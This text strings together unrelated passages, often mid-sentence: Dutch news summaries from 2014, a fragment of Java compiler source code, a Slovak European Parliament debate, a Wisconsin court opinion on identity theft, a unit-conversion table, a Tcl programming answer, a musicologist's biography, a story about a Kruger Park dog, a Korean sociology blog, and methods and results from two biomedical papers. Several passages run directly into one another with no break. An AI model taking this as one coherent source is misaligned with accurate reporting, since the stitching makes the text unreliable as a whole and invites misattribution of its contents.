World Champion, Gary Kasparov criticized the delegation of the Netherlands to the Winter Olympics in Sotsji, Russia. He said that the Netherlands with an important delegation including King Willem-Alexander, Queen Maxima and Prime Minister Mark Rutte, “serve the interests of the paranoid dictator Putin.” Kasparov added, “The only thing that Putin aims for is a nice picture where he is surrounded by as many other government leaders as possible.” www.volkskrant.nl/vk/nl/2698/Sport/article/detail/3584398/2014/01/27/Kasparov-hekelt-Nederlandse-delegatie-Sostji.dhtml Sunday, January 26, 2014 The Volkskrant daily, consulting experts writes, that the new Dutch safety system for the railways may become a huge disaster due to a conflict between the operating company NS and the infrastructure company ProRail. Experts fear problems of the magnitude of the Fyra fast train system, which had to be abandoned. The Ministry of Infrastructure works together with the rail sector to introduce the system. Experts say that the system however, is still in development and has not been tested anywhere in Europe in a system as heavily loaded as the Dutch one. www.volkskrant.nl/vk/nl/2680/Economie/article/detail/3580190/2014/01/20/Nieuw-spoorsysteem-dreigt-Fyra-achtig-fiasco-te-worden.dhtml Thursday, January 23, 2014 Minister Jet Bussemaker (Labor party) has morally distanced herself from the statements made by Rector Ahmet Akgunduz of the Islamic University in Rotterdam. There were several reports that he has anti-Western and anti-Democratic viewpoints. She said that she can do little, as there are no official complaints against the rector. The minister has asked the accreditation organization of the university to carefully monitor this behavior. www.volkskrant.nl/vk/nl/2686/Binnenland/article/detail/3582046/2014/01/22/Zorgen-minister-om-Islamitische-Universiteit.dhtml Wednesday, January 22, 2014 Security around the house of Rotterdam Mayor Ahmed Aboutaleb (Labor) was strengthened after he received a serious threat which the police decline to detail. It is not known whether there is any connection

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Method findMethod(String name) { Method m = mt.get(name); if (m!= null) return m; if (!have_nonvoid_parent)return null; return parent_class.findMethod(name); } */ public Method findMethod(MethodSignature signature) { Method m = mt.get(signature); //return null; // TODO why? if (m!= null) return m; if (!have_nonvoid_parent)return null; return parent_class.findMethod(signature); } /** Get just out method, don't search up */ public Method getMethod(int ordinal) { return mt.get(ordinal); } public Method getDefaultConstructor() { // TODO hack? if(isInternal()) return mt.get(0); List<PhantomType> args = new LinkedList<PhantomType>(); // no args MethodSignature signature = new MethodSignature(Method.CONSTRUCTOR_M_NAME, args); Method m = mt.get(signature); // TODO hack //if( (m == null) && ".internal.object".equals(getName()) ) // m = mt.get(0); // Method 0 is object defalut constructor return m; } static boolean isSameArgs(Method m1, Method m2) { Iterator<ArgDefinition> i1 = m1.getArgIterator(); Iterator<ArgDefinition> i2 = m2.getArgIterator(); while (i1.hasNext() && i2.hasNext()) { ArgDefinition ad1 = i1.next(); ArgDefinition ad2 = i2.next(); PhantomType at1 = ad1.getType(); PhantomType at2 = ad2.getType(); if(! at1.equalsEvenUnknown(at2) ) return false; } if (i1.hasNext() || i2.hasNext()) return false; return true; } static String dumpArgs(Method m) { return m.dumpArgs(); } public static boolean isSameReturnType(Method m, Method bm) { return!m.getType().equalsEvenUnknown(bm.getType()); } /** * Check if method has correct arguments if there is method in base class with the same name * @param m * @throws PlcException */ protected void checkBaseForMethod(Method m) throws PlcException { if(!have_nonvoid_parent) return; Method bm = parent_class.findMethod(m); if(bm == null) return; if(!isSameArgs(m, bm)) { String ma1 = dumpArgs(m); String ma2 = dumpArgs(bm); throw new PlcException("Method definition", "incompatible args", this.name + "::" + m.getName() + " required ("+ma2+"), have ("+ma1+")"); } if( isSameReturnType(m, bm) ) throw new PlcException("Method definition", "incompatible return type", this.name + "::" + m.getName() + " required ("+bm.getType()+"), have ("+m.getType()+")"); // Here we do it m.setOrdinal(bm.getOrdinal()); } /* @Deprecated public Method addMethod(String name, PhantomType type, boolean constructor ) throws PlcException { Method m = mt.add(name, type, constructor ); //check_base_for_method(m); return m; } */ public Method addMethod(Method m) throws PlcException { //SootMain.say("adding method "+m); if(isNameUsedAsField(name)) throw new PlcException(getName(), "name is used as field", name); mt.add(m); //check_base_for_method(m); return m; } /* public void add_method( String name, PhantomType type, Node args, Node code ) { mt.add(name, type, args, code); } public void add_method( String name, PhantomType type, Node args, Node code, int ordinal ) throws PlcException { mt.add(name, type, args, code, ordinal ); } */ protected void check_methods() throws PlcException { mt.set_ordinals(); // TODO double call? Iterator<Method> i = mt.iterator(); while (i.hasNext()) { Method m = i.next(); checkBaseForMethod(m); } } // ------------------------------------------------------------------------ // Static Fields // ------------------------------------------------------------------------ /** * Add a static field to a class. * @param name Name of field. * @param type Type of field. * @throws PlcException */ public void addStaticField(String name, PhantomType type) throws PlcException { // TODO parent? staticFieldsTable.add(name, type); } public PhantomField findStaticField(String name) { // TODO parent? return staticFieldsTable.get(name); //PhantomField f = staticFieldsTable.get(name); //if (f!= null)return f; //if (!have_nonvoid_parent)return null; //return parent_class.find_field(name); } // ------------------------------------------------------------------------ // Fields // ------------------------------------------------------------------------ public PhantomField find_field(String name) { PhantomField f = ft.get(name); if (f!= null)return f; if (!have_nonvoid_parent)return null; // TODO parent field visibility? return parent_class.find_field(name); } protected void check_base_for_field(String name, PhantomType type) throws PlcException { if (!have_nonvoid_parent)return; // TODO parent field visibility? //PhantomField f = ft.get(name); PhantomField f = parent_class.find_field(name); if (f == null)return; throw new PlcException("field definition", "there is a field with this name in a base class", this.name + "::" + name); //if(f.get_type()!= type ) throw } /** * Add a field to a class. * @param name Name of field. * @param type Type of field. * @return * @throws PlcException */ public PhantomField addField(String name, PhantomType type) throws PlcException { //SootMain.say("add var '"+name+"' type "+type); if(isNameUsedAsMethod(name)) throw new PlcException(getName(), "name is used as method", name); check_base_for_field(name, type); return ft.add(name, type); } /** * used by java class importer * @throws PlcException */ public void setField(int phantomOrdinal, String varName, PhantomType type) throws PlcException { check_base_for_field(name, type); ft.set(phantomOrdinal, name, type); } // ------------------------------------------------------------------------ // Check for name to be used // ------------------------------------------------------------------------ public NameUse isNameUsed(String name) { return new NameUse(ft.get(name)!= null, staticFieldsTable.get(name)!= null, mt.has(name)); } public boolean isNameUsedAsMethod(String name) { return isNameUsed(name).isUsedAsMethod(); } public boolean isNameUsedAsField(String name) { NameUse u = isNameUsed(name); return u.isUsedAsField() || u.isUsedAsStaticField(); } // ------------------------------------------------------------------------ // Interface compliance // ------------------------------------------------------------------------ protected void check_interface_methods_compliance(PhantomClass iface) throws PlcException { Iterator<Method> i = iface.mt.iterator(); while( i.hasNext() ) { Method im = i.next(); // find corresponding my Method

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nové mechanizmy financovania a podobne. V tejto súvislosti by som chcel veľmi naliehavo požiadať Komisiu, aby prehodnotila svoju odpoveď a čoskoro predstavila plán činnosti. Silvia-Adriana Ţicău (RO) Akčný plán pre mestskú mobilitu je nutnosťou pre mestské komunity EÚ. 67 % európskych občanov očakáva, že sa v tejto oblasti vypracuje európska politika. Akú odpoveď môžeme poskytnúť občanom Európy? Náklady vyplývajúce z upchávania mestskej premávky dosahujú približne 1 % európskeho HDP. Na zníženie úrovne znečistenia v mestskom prostredí a upchávania premávky potrebujeme investovať do verejnej dopravy a inteligentných dopravných systémov. Minulý rok sme schválili správu o podpore používania ekologických vozidiel vo verejnej doprave. Praha je hlavným mestom, ktoré ide príkladom tým, že minulý rok nakúpilo ekologické autobusy pre svoj systém mestskej verejnej dopravy, pričom využilo štátnu podporu. Vyzývam Komisiu, aby mestskú mobilitu primerane zvážila aj počas priebežného hodnotenia rámca pre využívanie štrukturálnych fondov. Androulla Vassiliou členka Komisie. - Vážená pani predsedajúca, skutočne si cením vaše príspevky. Určite vyjadrím všetky vaše obavy pánovi podpredsedovi Tajanimu a viem, že sa bude ďalej angažovať. Akčný plán je v skutočnosti súčasťou plánu práce Komisie na rok 2009 a viem, že pán podpredseda Tajani sa osobne angažuje v napredovaní akčného plánu. Preto nepochybujem, že sa bude vážne zaoberať všetkým, čo ste povedali. Viem, že hodnotenie vplyvu bolo ukončené a ako som povedala, akčný plán je v legislatívnom programe a dúfam, že sa tento rok uskutoční. Predsedajúca Rozprava sa skončila. Písomné vyhlásenia (článok 142) Krzysztof Hołowczyc V zelenej knihe z roku 2007 Komisia poukazuje na oprávnenosť rozpravy týkajúcej sa potreby jej angažovania sa v otázke zvyšovania mobility v mestách v rámci Únie na základe princípu subsidiarity. Podľa princípu subsidiarity koná Únia v rámci svojich kompetencií iba vtedy, keď je to nevyhnutné a keď to prináša pridanú hodnotu k činnostiam členských štátov. Cieľom princípu subsidiarity je zabezpečiť, aby sa rozhodovanie uskutočňovalo čo najbližšie k občanovi. Dosahuje sa to neustálou kontrolou oprávnenosti aktivít na úrovni Spoločenstva vo vzťahu k existujúcim možnostiam na národnej, regionálnej alebo miestnej úrovni. Úloha členských štátov týkajúca sa oprávnenosti zapojenia inštitúcii Európskej únie na miestnej úrovni je ďalej posilnená v Lisabonskej zmluve, ktorá je v súčasnosti v etape ratifikácie. V prerokúvanom balíku týkajúcom sa možných opatrení zameraných na zvýšenie úrovne mobility v mestských aglomeráciách je tendencia zaoberať sa inovatívnymi technológiami oddelene od inteligentných dopravných systémov. Synergia medzi týmito dvomi oblasťami by sa mala využiť na ich vzájomné priblíženie v záujme zvýšenia plynulosti premávky na cestách a zvýšenia pohodlia cestovania. Ďalšími výhodami by boli lepšie podmienky cestovania, kratšie cestovné časy, úspory energie, nižšie úrovne emisií, nižšie náklady na riadenie automobilového parku a údržbu a opravu povrchu vozoviek. Zlepšila by sa aj bezpečnosť cestnej premávky. V súvislosti s uvedeným bude základom akčného plánu Komisie pre mestskú mobilitu dokončenie ratifikácie Lisabonskej zmluvy a zavedenie programu českého predsedníctva. Prioritou programu českého predsedníctva je zlepšenie fungovania vnútorného trhu Únie v doprave. 263 Wis.2d 475 (2003) 2003 WI 88 665 N.W.2d 171 STATE of Wisconsin, Plaintiff-Appellant, v. Pamela L. PETERS, Defendant-Respondent. No. 01-3267-CR. Supreme Court of Wisconsin. Oral argument March 5, 2003. Decided July 3, 2003. *477 For the plaintiff-appellant the cause was argued by Sandra L. Nowack, assistant attorney general, with whom on the briefs was Peggy A. Lautenschlager, attorney general. For the defendant-respondent there was a brief (in the court of appeals) by Terry W. Rose and Rose & Rose, Kenosha, and oral argument by Terry W. Rose. ¶ 1. DIANE S. SYKES, J. This case is before the court on certification from the court of appeals on a question of first-impression regarding the scope of Wisconsin's identity theft statute, Wis. Stat. § 943.201 (1999-2000).[1] Specifically, the question is whether a defendant who misappropriates another's identity and uses it during an arrest and in subsequent bail proceedings to obtain lower bail has done so "to obtain credit, money, goods, services or anything else of value" within the meaning of the identity theft statute. Wis. Stat. § 943.201(2). We answer this question yes. ¶ 2. "Bail" is statutorily defined as "monetary conditions of release." Wis. Stat. § 969.001(1). "Monetary" means "of or relating to money." Webster's Third *478 New International Dictionary 1457-58 (1998). Bail can consist of cash or an unsecured appearance bond or both. Wis. Stat. §§ 969.02 and 969.03. In either case, it operates as a form of credit, securing the defendant's return to court. Accordingly, a defendant who misappropriates another's identity and uses it during an arrest and in bail proceedings to obtain lower bail has stolen that identity to obtain credit or money, or both, within the meaning of the identity theft statute. Wis. Stat. § 943.201(2). I. FACTS AND PROCEDURAL HISTORY ¶ 3. On September 30, 2001, the loss prevention staff at a Racine Shopko store attempted to detain Pamela Lynn Peters and her son after the two had shoplifted a videogame system. During the confrontation, Peters produced a box-cutter and attempted to escape with other stolen goods.

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/ Energy Work newton kg-m/sec2 nt newton N newton joule nt-m J joule cal 4.1868 joule ergon erg / Electrical coulomb coul C coul ampere coul/sec A ampere amp ampere watt joule/sec W watt volt watt/amp ohm volt/amp mho /ohm farad coul/volt F farad henry sec2/farad H henry weber volt-sec Wb weber / Light cd candela lumen cd sr lux cd sr/m2 / EMU currencies have constant exchange rate against Euro since 1.1.1999. / See http://en.wikipedia.org/wiki/Euro for details. austriaschilling 1|13.7603 euro belgiumfranc 1|40.3399 euro finlandmarkka 1|5.94573 euro francefranc 1|6.55957 euro germanymark 1|1.95583 euro greecedrachma 1|340.750 euro irelandpunt 1|0.787564 euro italylira 1|1936.27 euro luxembourgfranc 1|40.3399 euro netherlandsguilder 1|2.20371 euro portugalescudo 1|200.482 euro spainpeseta 1|166.386 euro sloveniantolar 1|239.640 euro cypriotpound 1|0.585274 euro malteselira 1|0.429300 euro slovakkoruna 1|30.1260 euro / These ones are pegged to the Euro / See http://en.wikipedia.org/wiki/Euro for details. bosniaherzegovinamark 1|1.95583 euro bulgarianlev 1|1.95583 euro capeverdeanescudo 1|110.265 euro centralafricancfafranc 1|655.957 euro comorosfranc 1|491.96775 euro danishkrone 1|7.46038 euro estoniakroon 1|15.6466 euro lithuanianlitas 1|3.45280 euro pacificfrancexchange 1|0.00838 euro westafricancfafranc 1|655.957 euro / These ones are pegged on the US Dollar / See http://en.wikipedia.org/wiki/USD for details. dollar usdollar arubanflorin 1|1.75 usdollar bahamiandollar 1|1 usdollar bahrainidinar 1|0.376 usdollar barbadiandollar 1|2 usdollar belizedollar 1|2 usdollar belarusianruble 1|2135 usdollar bermudiandollar 1|1 usdollar caymanislandsdollar 1.2 usdollar cubanconvertiblepeso 1.08 usdollar djiboutianfranc 1|177.721 usdollar eastcaribbeandollar 1|2.7 usdollar eritreannakfa 1|15 usdollar hongkongdollar 1|7.80 usdollar macanesepatacas 1|1.03 hongkongdollar jordaniandinar 1|0.709 usdollar lebanesepound 1|1507.5 usdollar maldivianrufiyaa 1|12.8 usdollar netherlandsantilleanguilder 1|1.79 usdollar omanirial 2.6008 usdollar qataririyal 1|3.64 usdollar saudiriyal 1|3.75 usdollar unitedarabemiratesdirham 1|3.6725 usdollar bosniamark bosniaherzegovinamark cfafranc centralafricancfafranc cfpfranc pacificfrancexchange drachma greecedrachma escudo portugalescudo franc francefranc guilder netherlandsguilder herzegovinamark bosniaherzegovinamark hollandguilder netherlandsguilder lira italylira mark germanymark markka finlandmarkka peseta spainpeseta rand southafricarand / computer baud bit/sec nibble 4 bit nybble nibble byte 8 bit word 2 byte block 512 byte kbyte 1024 byte megabyte 1024 kbyte gigabyte 1024 megabyte terabyte 1024 gigabyte petabyte 1024 terabyte exabyte 1024 petabyte zettabyte 1024 exabyte yottabyte 1024 zettabyte kilobyte kbyte meg megabyte / Trivia % 1|100 abampere 10 ampere admiraltyknot 6080 ft/hr apostilb cd/pi-m2 are 1e+2 m2 asb apostilb arpentcan 27.52 mi arpentlin 191.835 ft astronomicalunit au atmosphere 1.01325e+5 nt/m2 atm atmosphere atomicmassunit 1.66053878283e-27 kg fuzz # year 3.15569259747e7 sec fuzz amu atomicmassunit bag 94 lb bakersdozen 13 bar 1e+5 nt/m2 barie 1e-1 nt/m2 barleycorn 1|3 in beardsecond 5 nm barn 1e-28 m2 oilbarrel 42 gal barrel oilbarrel barye 1e-1 nt/m2 baryl microbar bev 1e+9 e-volt biot 10 amp blondel cd/pi-m2 boardfoot 144 in3 bolt 40 yd bottommeasure 1|40 in britishthermalunit 1.05506e+3 joule fuzz btu britishthermalunit refrigeration 12000 btu/ton-hour buck usdollar cable 720 ft caliber 1e-2 in calorie cal carat 205 milligram caratgold 1|24 cent centidollar cental 100 lb centesimalminute 1e-2 grade centesimalsecond 1e-4 grade century 100 year cfs ft3/sec chain 66 ft circularinch 1|4 pi-in2 circularmil 1e-6|4 pi-in2 clusec 1e-8 mm-hg m3/s coomb 4 bu cord 128 ft3 cordfoot cord crith 9.06e-2 gm cubit 18 in cup 1|2 pt curie 3.7e+10 /sec dalton amu decade 10 yr dioptre /m displacementton 35 ft3 doppelzentner 100 kg dozen 12 drop .03 cm3 dyne cm-gm/sec2 electronvolt e-volt ell 45 in engineerschain 100 ft engineerslink 100|100 ft equivalentfootcandle lumen/pi-ft2 equivalentlux lumen/pi-m2 equivalentphot cd/pi-cm2 erg cm2-gm/sec2 ev e-volt

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being that literal) instead of $b. Why would we do this? Well, it ensures that if the file name has Tcl meta-characters in it (e.g., {) then the created script to source the file in won't have any problems at all when evaluated. Why wouldn't you just write source file directly? Well, the most likely cases are where you want to source into a context other than the current one; the source command reads the file into a string and then effectively does an immediate eval on that string (well, there's some nuances, but it's surprisingly close to that). In particular: proc foo {} { source bar.tcl } Will run the contents of bar.tcl inside the procedure body of foo, just as if you'd typed the text in there directly. The variables will be local variables (unless you use global or something like that) and so on. Most people don't write Tcl scripts that like that sort of treatment, frankly; to handle this, and make the code evaluate in a defined context, you'd actually write: proc foo {} { # Quoted to defeat the Stack Overflow syntax highlighter only! uplevel "#0" [list source bar.tcl] } Robert Walser (musicologist) Robert Walser is an American musicologist associated with the "new musicology". He is author of the book Running With the Devil: Power, Gender, and Madness in Heavy Metal Music, concerning heavy metal music. Walser currently is a member of the faculty at Case Western Reserve University. Walser has also served as an expert witness for over 250 music copyright infringement cases, generally reserved to the Ninth Circuit. His big success came from a broad statement of support from Circuit Judge William C. Canby, Jr., who fully supported Dr. Walser's methodology, despite the less-than-appropriate credibility that Dr. Walser received via District Judge Christina A. Snyder {see Swirsky v. Carey, 226 F. Supp. 2d 1224 (C.D. Cal. 2002). Walser is married to musicologist Susan McClary. Publications Running With the Devil: Power, Gender, and Madness in Heavy Metal Music (Wesleyan University Press, 1993, ). Second edition, revised and expanded, 2014. (ed.) Keeping Time. Readings in Jazz History (OUP, 1999) 2. Second edition, revised and expanded, 2014. (ed.) The Christopher Small Reader (Wesleyan University Press, 2016). Valuing Jazz, in The Cambridge Companion to Jazz, ed. David Horn and Mervyn Cooke (Cambridge: Cambridge University Press, 2002), pp. 301-320. Analyzing Popular Music: Ten Apothegms and Four Instances, in Allan Moore, ed., The Analysis of Popular Music (Cambridge: Cambridge University Press, 2003), pp. 16-38. Deep Jazz: Notes on Interiority, Race, and Criticism, in Inventing the Psychological: Toward a Cultural History of Emotional Life in America, ed. Joel Pfister and Nancy Schnog (Yale University Press, 1997), pp. 271-96. Out of Notes: Signification, Interpretation, and the Problem of Miles Davis, Musical Quarterly 77:2 (Summer 1993), pp. 343-65. Rhythm, Rhyme, and Rhetoric in the Music of Public Enemy, Ethnomusicology 39:2 (Spring-Summer 1995), 193-217. Prince as Queer Poststructuralist, Popular Music and Society 18:2 (Summer 1994), 87-98. References External links Walser's Bio, from the CWRU Department of Music Robert Walser: "Review Essay: Polka Happiness, by Charles Keil, Angeliki Keil, and Dick Blau, and A Passion for Polka: Old-Time Ethnic Music in America, by Victor Greene," American Music 12:3 (Fall 1994), pp. 322–27. Category:American musicologists Category:Case Western Reserve University faculty Category:Year of birth missing (living people) Category:Living people Category:Place of birth missing (living people)A badly injured anti--poaching dog is stealing people's hearts on social media after an altercation with a lion. Akita, an eight-year-old Malinois dog, has been with SANParks' anti-poaching dog unit since 2012, Beeld reported on Tuesday. On Saturday, Johan de Beer, kennel master at the Kruger National Park canine unit, posted pictures of a battered Akita on the Facebook group "SANParks KNP RANGER DOGS", showing her many scars and stitches. She had reportedly been chased down by a lion three weeks ago and badly bitten. De Beer said Akita was a "cheeky dog" that was fearless when it came to wild animals. This was not Akita's first injury while on the job, though. In March last year, Akita was on the wrong end of a kudu's horn. According to The Lowvelder, while out on patrol near Letaba, Akita was charged by a kudu and impaled. Akita's chest was reportedly torn open by the kudu's horn. She was airlifted to Mbombela, where she was successfully treated. Akita was widely praised on Facebook. Bridget Lupton commented: "Wow. Brave dog!" Abel Lugar said: "Well done. Amazing dog! Thank you." "Oh my goodness, poor Akita. She's one brave and tenacious girl," Gemma Thompson said. Others felt that Akita had done enough and should "retire". Jeremy Walker wrote: "Amazing that she survived this. Will she be able to retire now? I don't think she should be put at risk of this happening again." "She's done her service, time to retire now to a good home where she will be loved and taken care of for the rest of her days," said Nic Theunissen. "The dogs are contributing a huge success to catching poachers," De Beer told AFP in 2015. Source: News24Korean Feminism, Sexuality, and Popular Culture Menu Korean Sociological Image #14: How And Why Koreans Became The World’s Greatest Consumers If you’re reading this, then the news that Koreans now spend more and save less than Americans may well come as a bombshell. I base that on the assumption that, as an English speaker interested in Korean sociology, most of your earliest and most-deeply held views on the subject were likely gained from English books. Nothing wrong with that of course, but in a society as rapidly changing as Korea, these can get dated rather quickly. In turn, if one’s original views are not regularly updated by practical experience of the country and/or Korean-language sources, then they can easily become ossified. Alternatively, they can become hostage to those Koreans with English skills, whom — with no offense intended to the Korean journalists I very much rely on as a blogger — are generally well educated and more affluent than average Koreans, and undoubtedly have class-based agendas to the ways they present Korea to the outside world. I realize that I’m very much projecting here. But then so fundamental has Korean’s high savings rate been to its postwar economic development, that I’d wager most readers shared my image of Koreans as relatively frugal (as a whole), either by reading that explicitly for themselves or by inferring it from other aspects of Korean sociology. Indeed, this ostensibly dry economic factoid had a profoundly gendered impact in the Korean context. With apologies for the following necessarily simplistic account, a high savings rate was the natural consequence of the fact that, until the Asian Financial Crisis of 1997-1998, Korea had the most “salarymen” in the world (despite the term being associated more with Japan). As salarymen generally worked at the same company for most of their lives, and made enough of an income and side-benefits to provide for their wives and children, then there was only a minimal welfare state to provide for them should the need arise: hence, these savings provided the safety net that the state didn’t (as well as investment funds for Korean business). Which brings us to the graph on the right, which shows that the books were not wrong. It would have been very difficult for historiography to have caught up with the massive drop in 1999 however, which the Washington Post article describes as “the steepest savings decline in the developed world.” In hindsight though, somehow Korean society had to pay for its huge transition from having the most salarymen in the world in 1997 to having the most irregular, part-time workers in the OECD less than a decade later. And the money certainly wasn’t obtained by women entering the workforce either, as despite having the lowest rate of women’s participation in the workforce in the OECD in 1997 – so the potential certainly existed – it has resolutely stayed at the same level ever since (see here and #2 here), not unexpected given that women were explicitly targeted for lay-offs as part of the economic recovery. But this process of “housewifization” is the natural corollary

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ITC (LT20), anti-CD56-FITC (REA136) and anti-HLA-DR-Vioblue (AC122) were purchased from Miltenyi Biotec. Anti-CD14-PerCP-eFluor700 (61D3) and anti-PD-L1-APC (MIH1) were purchased from eBiosciences. Leucocyte population identification and numeration {#S0003-S2002} -------------------------------------------------- For leucocyte identification by flow cytometry, whole blood removed to heparinized tubes (100 µL) was stained with different antibody cocktails for 15 min at room temperature. After surface staining, 2 mL of red blood cell lysis solution (BD Biosciences) was added for 10 min, centrifuged (350 g, 5 min), and then resuspended in flow cytometry buffer (eBioscience). Foxp3 staining was carried out according to the manufacturer's protocol using the fixation/permeabilization solution (eBioscience). All events were acquired on a BD LSR-II cytometer equipped with BD FACSDiva software (BD Biosciences), and data were analyzed using FlowJo software (Tree Star). The gating strategy is described in Supplementary [Figures 1--4](#F0001). For myeloid cells, gated on CD14^+^ CD15^+^ cells we select monocytes which are positive for HLA-DR and CD33 as monocytic MDSC (mMDSC), CD14^+^ CD15^+^ CD33^+^ HLA-DR^−^ were considered as granulocytic MDSC (gMDSC). CD15^+^ CD14^−^ are considered as granulocytes. For dendritic cells we select CD14^−^ CD15^−^ HLA-DR^+^ cells. Based on CD11c and CD123 labeling CD11c^+^ CD123^−^ are considered as type 1 classical dendritic cell population (DC1), CD11c^+^ CD123^int^ as type 2 classical dendritic cell population (DC2) and CD123^+^ CD11c^−^ as plasmacytoid dendritic cells (pDC).^[14](#CIT0014)^ For T cells, subpopulations were classically defined using CD45RA and CCR7 labeling. CD45RA^+^ CCR7^+^ were considered as naïve cells, CD45RA^+^ CCR7^−^ as effector memory RA cells (EMRA), CD45RA^low^ CCR7^−^ as intermediate EMRA, CD45RA^−^ CCR7^−^ as effector memory cells and CD45RA^−^ CCR7^+^ as central memory cells.^[15](#CIT0015)^ Helper T subsets were defined using chemokine receptor labeling. CCR6^+^ CXCR3^−^ cells were considered as Th17 cells, CCR6^+^ CXCR3^+^ cells as Th17-Th1 hybrid phenotype and CCR6^−^ CXCR3^+^ as Th1 cells. CCR6^−^ CXCR3^−^ CRTH2^+^ cells were considered as Th2 cells.^[16](#CIT0016)^ Cells with CD45RA^+^ labeling were considered as effector cells and called eTh and CD45RA^−^ were considered as memory cells and called mTh. Regulatory T cells (Treg) were characterized upon CD25^+^ and intracellular Foxp3 labeling. Human NK cells can be divided into two subsets based on their cell-surface density of CD56^--^CD56^bright^ and CD56^dim^, each with distinct phenotypic properties. The CD56^dim^ NK-cell subset is more naturally cytotoxic and expresses higher levels of CD16 than the CD56^bright^ NK-cell subset. By contrast, the CD56^bright^ subset has the capacity to produce abundant cytokines following activation but has low natural cytotoxicity.^[17](#CIT0017)^ *In vitro* human experiments {#S0004} ============================ PBMC culture {#S0004-S2001} ------------ Human PBMCs were first enriched from cancer patient blood using a separation gradient on a lymphocyte separation medium (Eurobio). After isolation, a small part of PBMCs (0.1.10^6^ cells) was stained to quantify by flow cytometry the expression of Tim-3, PD-1 and PD-L1, galectin-9 on CD8 T cells and mMDSC. Surface staining was carried out with the following antibodies for 15 min at room temperature in the dark. For T CD8 analysis, anti-CD8-VioGreen (BW135/80), anti-anti-CD3-VioBlue (BW264/56) and anti-Tim-3-FITC (F38-3E2) were purchased from Miltenyi Biotec. Anti-PD-1-PerCP-eFluor700 (MIH4) was purchased from eBioscience. For myeloid population analysis, anti-CD33-APC-Vio770 (AC104.3E3), anti-Galectin-9-PE-Vio770 (RG9-35.7), anti-CD3-FITC (BW264/56), anti-CD19-FITC (LT19), anti-CD20-FITC (LT20), anti-CD56-FITC (REA136) and anti-HLA-DR-Vioblue (AC122) were purchased from Miltenyi Biotec. Anti-CD14-Krome Orange (RMO52) and anti-PD-L1-APC (PD-L1) were purchased from Beckman Coulter. All events were acquired by a CytoFlex cytometer equipped with CytExpert software (Beckman Coulter), and data were analyzed using CytExpert software. The rest of the PBMC (0.25.10^6^ cells/well) were stimulated with plate-bound antibodies against CD3 (OKT3, 0,5 µg/mL, BioXcell) with or without anti-PD-1 (Nivolumab, 10 µg/mL) or anti-Tim-3 (Fisher Scientific, F38-2E2, 10 µg/mL) in 96-well plate flat bottom. Cells were classically harvested on day five (unless otherwise specified) for detection of cytokines by ELISA and surface staining analysis. Measurement of cytokines {#S0004-S2002} ------------------------ After 5 days of culture, cell culture supernatants were assessed by ELISA for human TNFα and IFNγ (BioLegend) according to the manufacturer's protocol. Statistical methods {#S0004-S2003} ------------------- Data analysis was performed using the statistical software R (<http://www.R-project.org/>) and representations were made with Prism 7 (GraphPad, San Diego, CA, USA). Progression-free survival (PFS) was defined as the time from the first day of treatment to the first recorded evidence of disease progression by the RECIST criteria, clinical evaluation or death. Survivors were censored after 6 months. Overall survival (OS) was calculated as the time from the date of the nivolumab treatment start to the date of death and censored after 24 months. Each distribution of absolute counts of subpopulations of cells between patients and healthy volunteers were compared with Wilcoxon rank-sum test and all boxplots were drawn with median, quartiles and Tukey's whiskers. The distributions of proportions of immunosuppressive markers were compared using the test for the comparison of multicomponent distributions and pie charts were drawn based on the recommendation for graphical display, both developed in SPICE software.^[18](#CIT0018)^ Univariate Cox proportional hazards models of all clinical and biological variables at baseline and at D15 were built to compute hazard ratios (HRs) with their 95% confidence intervals (CI). Survival curves were estimated using the Kaplan--Meier method and compared using log-rank tests. Median follow-up was calculated using the reverse Kaplan-Meier method or noted NR (Not Reached), as appropriate. The CoxBoost algorithm was used to fit a multivariate model. This algorithm is particularly adapted to the high dimensional setting where there are more variables than observations and fits a Cox proportional hazards model by component-wise likelihood-based boosting. It allows the selection of variables that are the most associated with survival. The model was estimated using the *CoxBoost*^[19](#CIT0019)^ R package. A score was then computed for each patient based on the linear predictor estimated by the model. A Receiver Operating characteristic (ROC) curve was plotted with the corresponding estimated linear predictor, and the threshold corresponding to the point nearest the upper left corner (best compromise between sensitivity and specificity) was chosen. The same model was applied to data at D15 without re-estimating the coefficients, and the same threshold was also applied to the resulting linear predictor. Results {#S0005} ======= T cell number and activation markers discriminate lung cancer patients from healthy volunteers {#S0005-S2001} ---------------------------------------------------------------------------------------------- We first determined whether blood immune parameters could discriminate metastatic NSCLC from healthy volunteers. To do this we analyze 61 consecutive metastatic NSCLC patients before the introduction of nivolumab, as well as 12 sex- and age-matched healthy controls. We characterized the absolute number, frequency and mean fluorescence intensity (MFI) of various blood lymphoid and myeloid cells (Supplementary Figures 1--4 for gating strategy and Supplementary Table 1 for the list of immune subpopulations and markers). We analyzed 25 myeloid and 151 lymphoid variables, focusing on activation and differentiation markers. The demographic and histopathologic characteristics of this cohort are described in [Table 1](#T0001). The median age was 66 years. The population was predominantly male (14 women (23%) and 47 men (77%)). Thirty-six patients (59%) had adenocarcinoma and 24 patients (39%) had squamous cell carcinoma. One patient (2%) had an undifferentiated carcinoma. Only

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ably with contig length, but within size classes, they did not appreciably differ between 10, 50, and 90% viral samples tested (\<8% for 500--1000 bp and \<5% for all other size classes). To make fair comparisons across scores predicted using different models trained using contigs of different lengths, VirFinder *p* values rather than VirFinder scores were used for generating ROC curves and corresponding AUROC scores. The AUROC scores using *p* values were 0.90--0.93 for contig *\>*500 bp and 0.92--0.95 for contig *\>*1000 bp. AUPRC results showed increasing values with increased proportion of viral contigs present in the sequences being tested (Additional file [1](#MOESM1){ref-type="media"}: Figure S4).Fig. 4Results for VirFinder predictions made on contigs assembled from simulated human gut metagenomes. **a** The ROC curves and AUROC scores for results from 3 size classes of assembled contigs (20 million read simulated metagnome, 10% viral community). **b** The effects of sequencing depth, viral fraction, and contig length on prediction performance. *Bars* shown mean AUROC scores and *error bars* depict standard error evaluated for 30 bootstrap samples VirFinder and VirSorter's TPRs were next compared using assembled contigs from simulated 20 million read metagenomes. TPRs were compared at the same FPRs levels as found for VirSorter considering various VirSorter category results (I, "most confident; II, "likely", III, "possible"). VirFinder correctly identified more viral contigs than VirSorter at all ranges of contig lengths and for all three combinations of VirSorter categories used when tested with samples with equal numbers of viral and host contigs (Fig. [5a](#Fig5){ref-type="fig"}). As before, use of 30 replicate bootstrap samples showed that these differences were statistically significant (*p* ≤ 10^−5^, Wilcoxon signed-rank one-sided test). VirSorter identified almost no viral contigs of 500--1000 bp viral contigs at the 3 category combinations used (I, I and II, and I--III) (TPRs were 0, 0.2, and 0.5%, respectively). At the same FPRs levels as VirSorter, VirFinder successfully identified 5.9, 5.9, and 6.0% true 500--1000 bp viral contigs for the 3 VirSorter category 